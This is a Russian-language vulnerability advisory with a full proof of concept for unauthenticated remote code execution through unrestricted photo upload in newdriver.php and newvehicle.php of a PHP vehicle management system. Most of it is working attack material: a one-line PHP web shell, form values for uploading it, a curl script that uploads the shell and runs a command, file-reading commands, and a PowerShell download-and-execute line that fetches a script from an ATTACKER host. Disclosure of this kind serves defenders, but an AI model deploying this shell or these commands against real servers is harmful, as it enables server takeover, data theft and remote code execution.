
Неаутентифицированный эксплойт удалённого выполнения кода для Vehicle Management System на PHP через неограниченную загрузку файлов в newdriver.php и newvehicle.php, с PoC и подробными шагами воспроизведения.
| Поле | Подробности |
|---|
| Продукт | Система управления транспортными средствами на PHP |
| Вендор | code-projects.org |
| Версия | V1.0 |
| Тип уязвимости | Неограниченная загрузка файлов, ведущая к удаленному выполнению кода (CWE-434) |
| Затронутые файлы | newdriver.php, newvehicle.php |
| Параметр | photo (POST, multipart/form-data) |
| Требуется аутентификация | Нет (неавторизованный) |
| Оценка CVSS | 10.0 Критический |
| Вектор атаки | Удаленный / Сеть |
| Требуемые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
Система управления транспортными средствами на PHP V1.0 от code-projects.org уязвима для неавторизованного удаленного выполнения кода через неограниченную загрузку файлов в newdriver.php (и идентично в newvehicle.php).
Приложение предоставляет форму регистрации «Новый водитель», предназначенную только для администратора, по адресу newdriver.php, которая включает поле загрузки фотографии. Однако конечная точка не выполняет проверку сессии — любой неавторизованный злоумышленник может напрямую получить к ней доступ без перенаправления на страницу входа. Кроме того, поле загрузки фотографии принимает любые типы файлов, включая PHP-файлы, без фильтрации расширений, проверки MIME-типа или проверки содержимого.
Злоумышленник может:
newdriver.php без какой-либо сессии или учетных данных/picture/Это приводит к полному удаленному выполнению кода с привилегиями процесса веб-сервера.
Неавторизованный HTTP-запрос
↓
newdriver.php (без проверки сессии)
↓
Поле photo принимает .php файл (без проверки типа файла)
↓
Шелл сохраняется в /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — выполнение произвольных команд ОС
Откройте новый браузер без сессии (окно инкогнито/приватное). Перейдите напрямую к конечной точке:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
Форма «Новый водитель» загружается успешно без проверки аутентификации и без перенаправления на страницу входа.

Создайте простой PHP-веб-шелл для выполнения команд:
<?php system($_GET['cmd']); ?>
Сохраните его как shell.php (или любое другое имя с расширением .php).
Заполните поля формы водителя любыми значениями и выберите PHP-веб-шелл для загрузки фотографии:
Имя водителя: test
Мобильный: 1234567890
Дата приема водителя: 2026-05-19
Национальный ID: test
Номер лицензии: test
Дата окончания лицензии: 2026-05-30
Адрес водителя: test
Фото: shell.php ← PHP-веб-шелл загружен сюда
Нажмите Отправить запрос.


Приложение отвечает сообщением «Регистрация завершена!» — подтверждающим, что PHP-шелл был принят и сохранен без какой-либо проверки.

Перейдите к загруженному шеллу в каталоге /picture/ и передайте команды ОС через параметр cmd:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
Сервер выполняет команду и возвращает вывод:
desktop-g1i9np3\dell

# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
Идентичная уязвимость существует в newvehicle.php. Неавторизованный злоумышленник может получить доступ к форме добавления нового транспортного средства, загрузить PHP-веб-шелл через поле фотографии транспортного средства и добиться RCE тем же методом.
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
Обе конечные точки имеют одну и ту же первопричину: отсутствие проверки сессии и ограничений на загрузку файлов.
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php и newvehicle.php оба уязвимы| Файл | Поле загрузки | Путь хранения шелла |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
Независимый исследователь безопасности